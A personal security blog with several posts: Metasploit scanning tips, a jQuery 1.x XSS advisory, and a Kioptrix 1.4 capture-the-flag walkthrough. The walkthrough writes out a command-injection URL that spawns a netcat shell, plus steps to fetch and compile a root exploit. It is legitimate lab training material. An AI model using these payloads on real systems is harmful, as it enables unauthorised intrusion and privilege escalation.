Microsoft Windows has Free Virtual Machines

Wish I had know about these earlier. Microsoft offers free Windows virtual machines for VirtualBox, VMWare, and others. You can choose from Windows 7, Windows 8, or Windows 10 (a few different flavors of each). They last 90 days before expiring, but you can snapshot them right after you install them to make it easy to reset that 90 days by rolling back to the snapshot.

Officially, these are for testing out the Edge browser, but you can also use them for whatever else 😉

Check them out here:



Metasploit Tidbits

I’ve been working through Metasploit Unleashed in preparation for the PWK course and the ensuing OSCP exam. Looks like I’ll be signing up for that in early July. While you can’t use Metasploit on the OSCP exam, they do teach it in the PWK course itself, and it’s a very powerful tool anyway, so learning it now seemed like a good idea.

I’ve been taking a lot of notes in OneNote as I progress on all things OSCP, but I thought I’d share some of the handier Metasploit tricks that I might find myself using from day to day. Additionally, writing all this out and thinking about it as I do so helps me commit it to memory, so this blog post isn’t an entirely selfless effort 😉

Find Hosts on Your Network

The arp_sweep auxiliary module comes in handy to find hosts on your network. In the below example, you select the arp_sweep tool, show its options, then set the RHOSTS variable accordingly for you your network range.

Running the above will return some output that looks something like this:

If you want to be sneaky when you do this (and why would you need to be sneaky on your home network? 😉 ) you can spoof the source host (you) and the source MAC address so that it doesn’t look like you have been scanning anything. Typically, you might set this to appear to be coming from your router.

Scan a Host

Metasploit lets you scan hosts that you discover.

You can set THREADS (10) and CONCURRENCY (20) too, to help speed things up without getting too crazy.

You can even use nmap from within Metasploit, and store the results in the database, or import normal nmap results (saved as xml) into the Metasploit database. The advantage of doing this is that you can save your work and results in workspaces in Metasploit. Workspaces let you create projects and keep things organized, which is useful when working on many targets, or with a team.

I will provide some examples of this soon. Stay tuned. For now, here’s what looks like a great reference for this.


Speaking at Drupal Camp Asheville

I will be doing a talk on Drupal and Security at this year’s Drupal Camp Asheville. I will cover some security best practices for Drupal developers, how to avoid certain Drupal-specific security gotchas, some lessons learned in keeping Drupal sites secure, and some handy tidbits you can use to prevent the bad people from ruining things.

The times for the various speaker sessions haven’t been announced yet, but stay tuned. I hope to see you all there!


A jQuery 1.x vulnerability exists and no fix is planned

I haven’t seen much talk about this issue around the Internet, so I thought I’d present what I’ve learned for others to be aware of. It mainly has to do with the fact that jQuery 1.x (and 2.x, for that matter) were replaced by 3.x, yet they are still thriving in many, many projects, applications, and websites to this day.

While doing a security review of some code the other day, a retirejs scan informed me that jQuery 1.x contained a Medium vulnerability regarding cross-domain requests in ajax. According to Snyk:

“Affected versions of the package are vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain ajax request is performed without the dataType option causing text/javascript responses to be executed.

Remediation: Upgrade jquery to version 3.0.0 or higher.”

“Upgrading to 3.0.0 or higher seems pretty drastic,” I thought to myself. Well, according to a comment I found on jQuery’s GitHub page, this is actually their stance, and they don’t plan on patching 1.x because it is a ‘breaking change’:

So it would behoove you to upgrade to jQuery 3 if you don’t want to be susceptible to this vulnerability. The magnitude of that may seem rather staggering if you consider all the projects across just about everything (WordPress plugins, Drupal modules, etc etc) that bundle the 1.x version of jQuery, and haven’t updated it in years.

While the vulnerability may not be relevant if you are not making cross-domain ajax calls, this is but one risk that has come to light for which there will be no fix. And it’s not exactly reasonable to assume that developers know they need to avoid that if they intend to use jQuery 1.x.

The longer jQuery 1.x sits in your project, the higher a risk it becomes.

As the impending OWASP Top-10 for 2017 says, “Applications and APIs using components with known
vulnerabilities may undermine application defenses and enable various attacks and impacts.”

Long story short: Keep your bundled libraries up to date!

Kioptrix 1.4 (VM 5) Walkthrough

This evening I am finally catching up on write-ups of the Virtual Machine penetration testing (and subsequent pwnage) I have been working on. This is the second one I finished up and got ready to share, in case anyone finds it useful. The Kioptrix series of VMs are available on, and you can download them to practice your hacking skills with at any time, for free.

Having already conquered the preceding 4 Kioptrix VMs, I started this one a while ago, but I hadn’t circled back to finish it. I figured it was time to complete the last of the Kioptrix boot2root challenges. This one was difficult!


netdiscover turned up as the IP for this target VM.

On port 80, just a default Apache “It works!” message, and 8080 is a forbidden 403 message. Worth noting that for later.


Summary of Interesting finds:
OpenSSL exploit
Older Apache
Older PHP

Finding Directories


Turned up index.html (nothing new) and cgi-bin. Blah.


Tried various wordlists. Nothing turned up with this either.

mod_ssl vulnerability

Nikto did mention this vulnerability, so I took a deeper dive:

This is that same old OpenFuck vuln I ran into in Kioptrix 1.1. I was unable to get it to compile then, so I didn’t feel like wasting time on it now.

Source Code to a PHP app

Failing to ever look at the source code of the Apache “It Works!” default page, I kicked myself when I realized I hadn’t done that. In the source code was a handy comment:

<META HTTP-EQUIV=”refresh” CONTENT=”5;URL=pChart2.1.3/index.php”>

Appending pChart2.1.3/index.php to the URL got me to some crappy PHP app:

The app looks like it would have a load of issues based on what it does and how it does it. An Exploit DB search reveals it does:

Directory Traversal sounds useful!

Using the exploit at Exploit DB, I found /etc/passwd:

Poking Around

I was unable to turn up anything useful in any of the /etc directory files I was able to look at. I started looking up the locations of things in freebsd, since they were likely different than most Linux distros I am used to.

That said, I thought that the Apache config file would be a good place to start, as it might illumincate additional info such as usernames, or locations of password files. I might also find out if anything else is hidden on the website.

According to this page the httpd.conf file is here:

I had to figure out that the x in that path should be a 2, since this server is running Apache 2.2

So that worked:

So what was relevant in the httpd.conf file?

Listen 80
Listen 8080

I already knew 80 was listening, and 8080 was reported as open but returning a 403 when trying to visit it in a web browser.

DocumentRoot “/usr/local/www/apache22/data”

That’s where files are served from in Apache on freebsd, apparently.

This VirtualHost section looked interesting, as it explained the 403 errors I was getting when visiting the :8080 port

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2

<Directory “/usr/local/www/apache22/data2”>
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser

So the :8080 virtual host is guarded by requiring a specific browser User-Agent string. Time to install User Agent Switcher add-on for Firefox. I prefer the one by Chris Pederick.

A Mozilla 4.0 browser is actually Internet Explorer 6, so I set my User Agent to be IE6, then I was able to get to the :8080 page:

Clicking that led me to yet another crappy PHP app!

Attacking the PHPTAX app

This app smelled like it was choc-full of fun exploits. A quick Google search revealed exactly that.

This will start a netcat reverse shell by injecting the command via the URL:;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

Trying to set up a netcat listener using various methods wasn’t working. I tried various ports and different things from the exploit-db entry (the other URL they mentioned), but had no luck.

Was there already an exploit in Metasploit?

That would be a “yes.” I thought doing it by hand would be more noble and educational, but alas, that proved to be untrue. Except that I learned I was down a rabbit hole. Off to metasploit I went…

That worked pretty well, and I found myself with a command shell.

Looks like I was the www user/group. I set out to escalate them privileges. Looking around for quite some time, I didn’t find anything too great. So I started with looking into OS/Kernel vulnerabilities.

uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 amd64

FreeBSD 9.0 seemed pretty old. A couple of promising leads turned up when looking for exploits:

Privilege Escalation

So I had 2 exploits to work with, just needed a place I could write files. Turns out the original web directory I was in when I got the reverse shell was perfect:


touch me
cat me

Next, I needed to get the exploit file over to the target machine. I wasn’t sure how to do this, so I Googled it. This helped: Or so I thought. I couldn’t get it transferred with netcat and I’m still not sure why.

More Googling led me to ‘fetch’ which is installed on the FreeBSD machine.

So I set up a quick web server to serve up the exploit file from my Kali box using Python. From the directory where the exploit file (26368.c) resides:

python -m SimpleHTTPServer 80

Then from the reverse shell on the target machine, fetch the file:


Compile that sucker:

gcc 26368.c

Then run it:



And the flag is in /root/congrats.txt

You should read the congrats.txt file and look into what it says, if you made it this far. There are some opportunities to learn about what you just did in there!